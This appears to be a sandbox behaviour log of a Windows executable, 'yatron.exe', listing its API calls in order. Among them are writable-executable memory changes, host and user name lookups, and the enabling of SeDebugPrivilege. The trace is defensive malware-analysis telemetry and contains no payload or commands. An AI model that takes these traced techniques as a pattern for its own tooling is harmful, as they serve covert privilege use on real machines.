# Flog Txt Version 1
# Analyzer Version: 3.2.2
# Analyzer Build Date: Jun 3 2020 08:38:37
# Log Creation Date: 23.10.2020 19:01:41.251
Process:
id = "1"
image_name = "yatron.exe"
filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe"
page_root = "0x33e83000"
os_pid = "0x604"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "analysis_target"
parent_id = "0"
os_parent_pid = "0x454"
cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe\" "
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 1
os_tid = 0x2c4
[0055.461] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
[0057.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2ed1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0057.871] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2ed020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0057.910] VirtualProtect (in: lpAddress=0x9d2000, dwSize=0x364560, flNewProtect=0x40, lpflOldProtect=0x2ede20 | out: lpflOldProtect=0x2ede20*=0x80) returned 1
[0071.843] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2ebff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0071.843] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2ebe60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0071.914] VirtualProtect (in: lpAddress=0x9d0188, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x2) returned 1
[0071.939] VirtualProtect (in: lpAddress=0x9d01b0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.941] VirtualProtect (in: lpAddress=0x9d01d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.941] VirtualProtect (in: lpAddress=0x9d0200, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.941] VirtualProtect (in: lpAddress=0x9d0228, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.942] VirtualProtect (in: lpAddress=0xd38000, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x20) returned 1
[0071.943] VirtualProtect (in: lpAddress=0xd39c9c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x20) returned 1
[0071.944] VirtualProtect (in: lpAddress=0xd39cbc, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.944] VirtualProtect (in: lpAddress=0xd39cc4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.945] VirtualProtect (in: lpAddress=0xd39cc8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.945] VirtualProtect (in: lpAddress=0xd39cd0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.946] VirtualProtect (in: lpAddress=0xd39cd4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.946] VirtualProtect (in: lpAddress=0xd39cd8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.947] VirtualProtect (in: lpAddress=0xd39cdc, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.947] VirtualProtect (in: lpAddress=0xd39ce4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.948] VirtualProtect (in: lpAddress=0xd39ce8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.948] VirtualProtect (in: lpAddress=0xd39cec, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.948] VirtualProtect (in: lpAddress=0xd39cf4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0071.949] VirtualProtect (in: lpAddress=0xd39cf8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ede48 | out: lpflOldProtect=0x2ede48*=0x40) returned 1
[0072.171] GetEnvironmentVariableW (in: lpName="COR_PROFILER", lpBuffer=0x2edab0, nSize=0x80 | out: lpBuffer="") returned 0x0
[0072.202] GetEnvironmentVariableW (in: lpName="COR_ENABLE_PROFILING", lpBuffer=0x2edab0, nSize=0x80 | out: lpBuffer="") returned 0x0
[0074.082] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc16a
[0074.083] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc121
[0074.337] GetCurrentProcess () returned 0xffffffffffffffff
[0074.339] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ee328 | out: TokenHandle=0x2ee328*=0x208) returned 1
[0074.379] GetCurrentProcess () returned 0xffffffffffffffff
[0074.380] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x2ee3f0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2ee3f0*=0x20c) returned 1
[0074.424] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0
[0074.426] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7feef4f0000
[0076.183] GetModuleHandleW (lpModuleName="user32.dll") returned 0x77840000
[0076.184] GetProcAddress (hModule=0x77840000, lpProcName="DefWindowProcW") returned 0x77a8b0ac
[0076.185] GetStockObject (i=5) returned 0x1900015
[0076.201] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0076.205] CoTaskMemAlloc (cb=0x5c) returned 0x146890
[0076.205] RegisterClassW (lpWndClass=0x2edfc0) returned 0xc122
[0076.206] CoTaskMemFree (pv=0x146890)
[0076.207] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0076.207] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x30274
[0076.222] SetWindowLongPtrW (hWnd=0x30274, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0076.228] GetWindowLongPtrW (hWnd=0x30274, nIndex=-4) returned 0x77a8b0ac
[0076.494] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ed408 | out: phkResult=0x2ed408*=0x220) returned 0x0
[0076.495] RegQueryValueExW (in: hKey=0x220, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x2ed458, lpData=0x0, lpcbData=0x2ed450*=0x0 | out: lpType=0x2ed458*=0x0, lpData=0x0, lpcbData=0x2ed450*=0x0) returned 0x2
[0076.496] RegQueryValueExW (in: hKey=0x220, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x2ed458, lpData=0x0, lpcbData=0x2ed450*=0x0 | out: lpType=0x2ed458*=0x0, lpData=0x0, lpcbData=0x2ed450*=0x0) returned 0x2
[0076.497] RegCloseKey (hKey=0x220) returned 0x0
[0076.499] SetWindowLongPtrW (hWnd=0x30274, nIndex=-4, dwNewLong=0x1b1913ec) returned 0x77a8b0ac
[0076.500] GetWindowLongPtrW (hWnd=0x30274, nIndex=-4) returned 0x1b1913ec
[0076.500] GetWindowLongPtrW (hWnd=0x30274, nIndex=-16) returned 0x6c10000
[0076.505] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc164
[0076.506] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc165
[0076.507] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30274, Msg=0x81, wParam=0x0, lParam=0x2ed9a0) returned 0x1
[0076.507] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30274, Msg=0x83, wParam=0x0, lParam=0x2eda50) returned 0x0
[0076.508] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30274, Msg=0x1, wParam=0x0, lParam=0x2ed9a0) returned 0x0
[0076.508] GetClientRect (in: hWnd=0x30274, lpRect=0x2ed460 | out: lpRect=0x2ed460) returned 1
[0076.509] GetWindowRect (in: hWnd=0x30274, lpRect=0x2ed460 | out: lpRect=0x2ed460) returned 1
[0076.511] GetParent (hWnd=0x30274) returned 0x0
[0076.723] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x2ee680, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77
[0076.728] IsAppThemed () returned 0x1
[0076.730] CoTaskMemAlloc (cb=0xf0) returned 0x1abe5480
[0076.730] CreateActCtxA (pActCtx=0x2eec50) returned 0x1abc8538
[0076.792] CoTaskMemFree (pv=0x1abe5480)
[0077.131] GetUserNameW (in: lpBuffer=0x2ec860, pcbBuffer=0x2ecb88 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ecb88) returned 1
[0077.696] GetUserNameW (in: lpBuffer=0x2ec860, pcbBuffer=0x2ecb88 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ecb88) returned 1
[0077.696] GetUserNameW (in: lpBuffer=0x2ec860, pcbBuffer=0x2ecb88 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ecb88) returned 1
[0077.768] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0077.769] AdjustWindowRectEx (in: lpRect=0x2edc60, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x2edc60) returned 1
[0077.778] GetTimeZoneInformation (in: lpTimeZoneInformation=0x2ed9e0 | out: lpTimeZoneInformation=0x2ed9e0) returned 0x2
[0077.783] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x2ed7e8 | out: pTimeZoneInformation=0x2ed7e8) returned 0x2
[0077.786] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ed7b8 | out: phkResult=0x2ed7b8*=0x234) returned 0x0
[0077.787] RegQueryValueExW (in: hKey=0x234, lpValueName="TZI", lpReserved=0x0, lpType=0x2ed7f8, lpData=0x0, lpcbData=0x2ed7f0*=0x0 | out: lpType=0x2ed7f8*=0x3, lpData=0x0, lpcbData=0x2ed7f0*=0x2c) returned 0x0
[0077.787] RegQueryValueExW (in: hKey=0x234, lpValueName="TZI", lpReserved=0x0, lpType=0x2ed7f8, lpData=0x25b48d8, lpcbData=0x2ed7f0*=0x2c | out: lpType=0x2ed7f8*=0x3, lpData=0x25b48d8*, lpcbData=0x2ed7f0*=0x2c) returned 0x0
[0077.788] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ed5b8 | out: phkResult=0x2ed5b8*=0x23c) returned 0x0
[0077.788] RegQueryValueExW (in: hKey=0x23c, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x2ed5f8, lpData=0x0, lpcbData=0x2ed5f0*=0x0 | out: lpType=0x2ed5f8*=0x4, lpData=0x0, lpcbData=0x2ed5f0*=0x4) returned 0x0
[0077.788] RegQueryValueExW (in: hKey=0x23c, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x2ed5f8, lpData=0x2ed5d8, lpcbData=0x2ed5f0*=0x4 | out: lpType=0x2ed5f8*=0x4, lpData=0x2ed5d8*=0x7d7, lpcbData=0x2ed5f0*=0x4) returned 0x0
[0077.788] RegQueryValueExW (in: hKey=0x23c, lpValueName="LastEntry", lpReserved=0x0, lpType=0x2ed5f8, lpData=0x0, lpcbData=0x2ed5f0*=0x0 | out: lpType=0x2ed5f8*=0x4, lpData=0x0, lpcbData=0x2ed5f0*=0x4) returned 0x0
[0077.788] RegQueryValueExW (in: hKey=0x23c, lpValueName="LastEntry", lpReserved=0x0, lpType=0x2ed5f8, lpData=0x2ed5d8, lpcbData=0x2ed5f0*=0x4 | out: lpType=0x2ed5f8*=0x4, lpData=0x2ed5d8*=0x7d8, lpcbData=0x2ed5f0*=0x4) returned 0x0
[0077.788] RegQueryValueExW (in: hKey=0x23c, lpValueName="2007", lpReserved=0x0, lpType=0x2ed5f8, lpData=0x0, lpcbData=0x2ed5f0*=0x0 | out: lpType=0x2ed5f8*=0x3, lpData=0x0, lpcbData=0x2ed5f0*=0x2c) returned 0x0
[0077.788] RegQueryValueExW (in: hKey=0x23c, lpValueName="2007", lpReserved=0x0, lpType=0x2ed5f8, lpData=0x25b4e58, lpcbData=0x2ed5f0*=0x2c | out: lpType=0x2ed5f8*=0x3, lpData=0x25b4e58*, lpcbData=0x2ed5f0*=0x2c) returned 0x0
[0077.789] RegQueryValueExW (in: hKey=0x23c, lpValueName="2008", lpReserved=0x0, lpType=0x2ed5f8, lpData=0x0, lpcbData=0x2ed5f0*=0x0 | out: lpType=0x2ed5f8*=0x3, lpData=0x0, lpcbData=0x2ed5f0*=0x2c) returned 0x0
[0077.789] RegQueryValueExW (in: hKey=0x23c, lpValueName="2008", lpReserved=0x0, lpType=0x2ed5f8, lpData=0x25b4f60, lpcbData=0x2ed5f0*=0x2c | out: lpType=0x2ed5f8*=0x3, lpData=0x25b4f60*, lpcbData=0x2ed5f0*=0x2c) returned 0x0
[0077.789] RegCloseKey (hKey=0x23c) returned 0x0
[0077.789] RegQueryValueExW (in: hKey=0x234, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x2ed788, lpData=0x0, lpcbData=0x2ed780*=0x0 | out: lpType=0x2ed788*=0x1, lpData=0x0, lpcbData=0x2ed780*=0x20) returned 0x0
[0077.789] RegQueryValueExW (in: hKey=0x234, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x2ed788, lpData=0x25b5130, lpcbData=0x2ed780*=0x20 | out: lpType=0x2ed788*=0x1, lpData="@tzres.dll,-670", lpcbData=0x2ed780*=0x20) returned 0x0
[0077.790] RegQueryValueExW (in: hKey=0x234, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x2ed788, lpData=0x0, lpcbData=0x2ed780*=0x0 | out: lpType=0x2ed788*=0x1, lpData=0x0, lpcbData=0x2ed780*=0x20) returned 0x0
[0077.790] RegQueryValueExW (in: hKey=0x234, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x2ed788, lpData=0x25b51a0, lpcbData=0x2ed780*=0x20 | out: lpType=0x2ed788*=0x1, lpData="@tzres.dll,-672", lpcbData=0x2ed780*=0x20) returned 0x0
[0077.790] RegQueryValueExW (in: hKey=0x234, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x2ed788, lpData=0x0, lpcbData=0x2ed780*=0x0 | out: lpType=0x2ed788*=0x1, lpData=0x0, lpcbData=0x2ed780*=0x20) returned 0x0
[0077.790] RegQueryValueExW (in: hKey=0x234, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x2ed788, lpData=0x25b5210, lpcbData=0x2ed780*=0x20 | out: lpType=0x2ed788*=0x1, lpData="@tzres.dll,-671", lpcbData=0x2ed780*=0x20) returned 0x0
[0080.619] CoTaskMemAlloc (cb=0x20c) returned 0x1ac19de0
[0080.619] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ac19de0 | out: pszPath="C:\\Windows\\system32") returned 0x0
[0080.624] CoTaskMemFree (pv=0x1ac19de0)
[0080.626] CoTaskMemAlloc (cb=0x20c) returned 0x1ac19de0
[0080.626] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x2ed7d8, pwszFileMUIPath=0x1ac19de0, pcchFileMUIPath=0x2ed7e0, pululEnumerator=0x2ed7d0 | out: pwszLanguage=0x0, pcchLanguage=0x2ed7d8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x2ed7e0, pululEnumerator=0x2ed7d0) returned 1
[0080.654] CoTaskMemFree (pv=0x0)
[0080.654] CoTaskMemFree (pv=0x1ac19de0)
[0080.655] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x410001
[0080.686] CoTaskMemAlloc (cb=0x3ec) returned 0x1ac09150
[0080.686] LoadStringW (in: hInstance=0x410001, uID=0x29e, lpBuffer=0x1ac09150, cchBufferMax=500 | out: lpBuffer="(UTC+10:00) Canberra, Melbourne, Sydney") returned 0x27
[0080.687] CoTaskMemFree (pv=0x1ac09150)
[0080.687] FreeLibrary (hLibModule=0x410001) returned 1
[0080.688] CoTaskMemAlloc (cb=0x20c) returned 0x1ac19de0
[0080.688] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ac19de0 | out: pszPath="C:\\Windows\\system32") returned 0x0
[0080.689] CoTaskMemFree (pv=0x1ac19de0)
[0080.689] CoTaskMemAlloc (cb=0x20c) returned 0x1ac19de0
[0080.689] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x2ed7d8, pwszFileMUIPath=0x1ac19de0, pcchFileMUIPath=0x2ed7e0, pululEnumerator=0x2ed7d0 | out: pwszLanguage=0x0, pcchLanguage=0x2ed7d8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x2ed7e0, pululEnumerator=0x2ed7d0) returned 1
[0080.690] CoTaskMemFree (pv=0x0)
[0080.690] CoTaskMemFree (pv=0x1ac19de0)
[0080.690] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x410001
[0080.691] CoTaskMemAlloc (cb=0x3ec) returned 0x1ac09150
[0080.691] LoadStringW (in: hInstance=0x410001, uID=0x2a0, lpBuffer=0x1ac09150, cchBufferMax=500 | out: lpBuffer="AUS Eastern Standard Time") returned 0x19
[0080.691] CoTaskMemFree (pv=0x1ac09150)
[0080.691] FreeLibrary (hLibModule=0x410001) returned 1
[0080.691] CoTaskMemAlloc (cb=0x20c) returned 0x1ac19de0
[0080.692] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ac19de0 | out: pszPath="C:\\Windows\\system32") returned 0x0
[0080.692] CoTaskMemFree (pv=0x1ac19de0)
[0080.692] CoTaskMemAlloc (cb=0x20c) returned 0x1ac19de0
[0080.692] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x2ed7d8, pwszFileMUIPath=0x1ac19de0, pcchFileMUIPath=0x2ed7e0, pululEnumerator=0x2ed7d0 | out: pwszLanguage=0x0, pcchLanguage=0x2ed7d8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x2ed7e0, pululEnumerator=0x2ed7d0) returned 1
[0080.693] CoTaskMemFree (pv=0x0)
[0080.693] CoTaskMemFree (pv=0x1ac19de0)
[0080.693] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x410001
[0080.693] CoTaskMemAlloc (cb=0x3ec) returned 0x1ac09150
[0080.693] LoadStringW (in: hInstance=0x410001, uID=0x29f, lpBuffer=0x1ac09150, cchBufferMax=500 | out: lpBuffer="AUS Eastern Daylight Time") returned 0x19
[0080.694] CoTaskMemFree (pv=0x1ac09150)
[0080.694] FreeLibrary (hLibModule=0x410001) returned 1
[0080.695] RegCloseKey (hKey=0x234) returned 0x0
[0080.778] GetUserNameW (in: lpBuffer=0x2ed9b0, pcbBuffer=0x2edcd8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2edcd8) returned 1
[0080.782] GetComputerNameW (in: lpBuffer=0x2ed9b0, nSize=0x2edcd8 | out: lpBuffer="XDUWTFONO", nSize=0x2edcd8) returned 1
[0081.015] GetCurrentProcessId () returned 0x604
[0081.223] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2ecc90 | out: lpLuid=0x2ecc90*(LowPart=0x14, HighPart=0)) returned 1
[0081.225] GetCurrentProcess () returned 0xffffffffffffffff
[0081.225] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x2ecc88 | out: TokenHandle=0x2ecc88*=0x234) returned 1
[0081.226] AdjustTokenPrivileges (in: TokenHandle=0x234, DisableAllPrivileges=0, NewState=0x25ba948*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
[0081.283] CloseHandle (hObject=0x234) returned 1
[0081.285] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x234
[0081.326] EnumProcessModules (in: hProcess=0x234, lphModule=0x25ba9b0, cb=0x200, lpcbNeeded=0x2edc20 | out: lphModule=0x25ba9b0, lpcbNeeded=0x2edc20) returned 1
[0081.328] GetModuleInformation (in: hProcess=0x234, hModule=0x9d0000, lpmodinfo=0x25bac20, cb=0x18 | out: lpmodinfo=0x25bac20*(lpBaseOfDll=0x9d0000, SizeOfImage=0x394000, EntryPoint=0xd6200a)) returned 1
[0081.329] CoTaskMemAlloc (cb=0x804) returned 0x1ac09150
[0081.329] GetModuleBaseNameW (in: hProcess=0x234, hModule=0x9d0000, lpBaseName=0x1ac09150, nSize=0x800 | out: lpBaseName="yatron.exe") returned 0xa
[0081.330] CoTaskMemFree (pv=0x1ac09150)
[0081.330] CoTaskMemAlloc (cb=0x804) returned 0x1ac09150
[0081.330] GetModuleFileNameExW (in: hProcess=0x234, hModule=0x9d0000, lpFilename=0x1ac09150, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe")) returned 0x30
[0081.330] CoTaskMemFree (pv=0x1ac09150)
[0081.331] CloseHandle (hObject=0x234) returned 1
[0082.520] EtwEventRegister (in: ProviderId=0x25bd3c0, EnableCallback=0x1b19143c, CallbackContext=0x0, RegHandle=0x25bd3a0 | out: RegHandle=0x25bd3a0) returned 0x0
[0082.557] GetSystemDefaultLCID () returned 0x409
[0082.557] GetStockObject (i=17) returned 0x18a0025
[0082.561] GetObjectW (in: h=0x18a0025, c=92, pv=0x2e5730 | out: pv=0x2e5730) returned 92
[0082.562] GetDC (hWnd=0x0) returned 0x2001008e
[0082.622] GdiplusStartup (in: token=0x7fe93e2ae70, input=0x2e4038, output=0x2e40e8 | out: token=0x7fe93e2ae70, output=0x2e40e8) returned 0x0
[0082.632] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10430
[0082.632] GdipCreateFontFromLogfontW (hdc=0x2001008e, logfont=0x1ac10430, font=0x2e5870) returned 0x0
[0082.851] CoTaskMemFree (pv=0x1ac10430)
[0082.852] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10430
[0082.852] CoTaskMemFree (pv=0x1ac10430)
[0082.853] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10430
[0082.853] CoTaskMemFree (pv=0x1ac10430)
[0082.854] GdipGetFontUnit (font=0x4a41a0, unit=0x2e57e0) returned 0x0
[0082.854] GdipGetFontSize (font=0x4a41a0, size=0x2e57ec) returned 0x0
[0082.855] GdipGetFontStyle (font=0x4a41a0, style=0x2e57d8) returned 0x0
[0082.856] GdipGetFamily (font=0x4a41a0, family=0x2e57d0) returned 0x0
[0082.859] GdipGetFontSize (font=0x4a41a0, size=0x25be140) returned 0x0
[0082.859] ReleaseDC (hWnd=0x0, hDC=0x2001008e) returned 1
[0082.862] GetDC (hWnd=0x0) returned 0x90109d4
[0082.862] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e57e8) returned 0x0
[0082.866] GdipGetDpiY (graphics=0x1c50d3c0, dpi=0x25be318) returned 0x0
[0082.867] GdipGetFontHeight (font=0x4a41a0, graphics=0x1c50d3c0, height=0x2e57e4) returned 0x0
[0082.868] GdipGetEmHeight (family=0x4ac5e0, style=0, EmHeight=0x2e57e8) returned 0x0
[0082.869] GdipGetLineSpacing (family=0x4ac5e0, style=0, LineSpacing=0x2e57e8) returned 0x0
[0082.870] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0082.870] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0082.878] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25be2a8) returned 0x0
[0082.878] GdipGetFontSize (font=0x1c573a40, size=0x25be2b0) returned 0x0
[0082.887] GdipDeleteFont (font=0x4a41a0) returned 0x0
[0082.891] GetDC (hWnd=0x0) returned 0x90109d4
[0082.891] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5948) returned 0x0
[0082.891] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e5944) returned 0x0
[0082.891] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0082.891] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0082.891] GetSystemMetrics (nIndex=5) returned 1
[0082.891] GetSystemMetrics (nIndex=6) returned 1
[0082.892] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0082.893] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bf0) returned 1
[0082.919] LoadLibraryW (lpLibFileName="RichEd20.DLL") returned 0x7fef6d40000
[0084.188] CoTaskMemAlloc (cb=0x20c) returned 0x1ac19de0
[0084.188] GetModuleFileNameW (in: hModule=0x7fef6d40000, lpFilename=0x1ac19de0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\RichEd20.DLL" (normalized: "c:\\windows\\system32\\riched20.dll")) returned 0x20
[0084.188] CoTaskMemFree (pv=0x1ac19de0)
[0084.189] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL", nBufferLength=0x105, lpBuffer=0x2e5350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\RichEd20.DLL", lpFilePart=0x0) returned 0x20
